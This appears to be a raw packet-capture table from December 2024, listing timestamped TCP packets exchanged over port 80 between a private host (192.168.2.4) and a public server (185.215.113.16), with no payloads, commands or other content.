Dec 18, 2024 17:08:33.139538050 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.139559031 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.139588118 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.154412985 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.154464006 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.154613972 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.154613972 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.168804884 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.168842077 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.168881893 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.168895960 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.183121920 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.183159113 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.183191061 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.183207035 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.183208942 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.183255911 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.195553064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.195589066 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.195622921 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.195636988 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.207362890 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.207400084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.207429886 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.207448959 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.219479084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.219531059 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.219544888 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.219582081 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.231641054 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.231677055 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.231704950 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.231712103 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.231719971 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.231766939 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.243679047 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.243716955 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.243745089 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.243777037 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.255732059 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.255770922 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.255809069 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.255825043 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.267683029 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.267726898 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.267746925 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.267765045 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.279475927 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.279525042 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.279547930 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.279586077 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.291555882 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.291593075 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.291614056 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.291641951 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.303553104 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.303590059 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.303630114 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.303647995 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.315017939 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.315056086 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.315078020 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.315089941 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.315109968 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.315135956 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.327035904 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.327080965 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.327236891 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.327265024 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.338448048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.338485956 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.338541985 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.338573933 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.351212978 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.351250887 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.351281881 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.351300955 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.362654924 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.362693071 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.362739086 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.362777948 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.373393059 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.373429060 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.373450994 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.373465061 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.373485088 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.373517990 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.383768082 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.383830070 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.383840084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.383889914 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.394599915 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.394639015 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.394664049 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.394686937 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.405088902 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.405143023 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.405179977 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.405196905 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.415745020 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.415782928 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.415823936 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.415843964 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.426299095 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.426352978 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.426388025 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.426404953 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.437309027 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.437346935 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.437382936 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.437387943 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.437410116 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.437431097 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.446959019 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.447010040 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.447052002 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.447072983 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.457005024 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.457051992 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.457106113 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.457123995 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.466962099 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.466999054 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.467035055 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.467055082 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.476592064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.476629019 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.476663113 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.476665974 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.476680994 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.476730108 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.486309052 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.486347914 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.486372948 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.486387014 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.495935917 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.496011019 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.496042013 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.496094942 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.505578041 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.505615950 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.505642891 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.505661011 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.515297890 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.515353918 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.515384912 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.515410900 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.524760962 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.524800062 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.524817944 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.524846077 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.562428951 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.562447071 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.562494993 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.562509060 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.571465969 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.571505070 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.571525097 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.571559906 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.580575943 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.580612898 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.580646992 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.580661058 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.590298891 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.590336084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.590369940 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.590400934 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.599632978 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.599648952 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.599684000 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.599695921 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.599719048 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.599735975 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.608488083 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.608525991 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.608568907 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.608568907 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.616302013 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.616345882 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.616425037 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.624880075 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.624902010 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.624953985 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.633533955 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.633570910 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.633603096 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.633641005 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.642047882 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.642113924 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.642129898 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.642167091 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.650465012 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.650547028 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.650640965 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.658807039 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.658827066 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.658894062 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.667123079 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.667143106 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.667196035 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.667221069 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.675364971 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.675384998 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.675452948 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.683468103 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.683487892 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.683526039 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.683556080 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.683578014 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.691540003 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.691560984 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.691634893 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.699604988 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.699625015 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.699711084 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.707381010 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.707401991 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.707480907 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.715126991 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.715147018 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.715181112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.715228081 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.715282917 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.723134041 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.723154068 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.723223925 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.723254919 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.730783939 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.730803967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.730846882 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.730895996 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.738493919 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.738513947 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.738553047 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.738584995 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.746218920 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.746253967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.746289015 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.746316910 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.753807068 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.753827095 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.753844023 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.753866911 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.753891945 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.761950970 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.761971951 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.762027025 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.768827915 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.768847942 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.768897057 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.776391983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.776495934 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.783719063 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.783786058 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.791132927 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.791152000 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.791187048 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.791213989 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.810108900 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.810128927 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.810146093 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.810218096 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.816718102 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.816817999 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.816916943 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.823573112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.823592901 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.823654890 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.830616951 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.830652952 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.830733061 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.837593079 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.837614059 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.837779999 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.844779015 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.844799995 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.844816923 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.844868898 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.851397038 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.851538897 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.851644993 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.858232975 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.858285904 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.858306885 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.858338118 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.865458965 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.865499973 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.865547895 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.865576029 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.871748924 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.871769905 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.871840000 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.878348112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.878367901 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.878428936 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.878443003 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.884998083 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.885019064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.885051012 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.885174990 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.885174990 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.891614914 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.891633987 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.891681910 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.891710997 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.898168087 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.898204088 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.898231983 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.898263931 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.904753923 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.904773951 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.904840946 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.911288023 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.911330938 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.911353111 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.911391020 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.917644024 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.917678118 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.917697906 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.917738914 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.917762041 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.924989939 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.925014019 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.925086021 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.930968046 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.931015015 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.931071043 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.936527967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.936547995 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.936609983 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.942816973 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.942837000 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.942948103 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.949315071 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.949352026 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.949369907 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.949454069 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.955200911 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.955220938 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.955331087 CET	49800	80	192.168.2.4	185.215.113.16
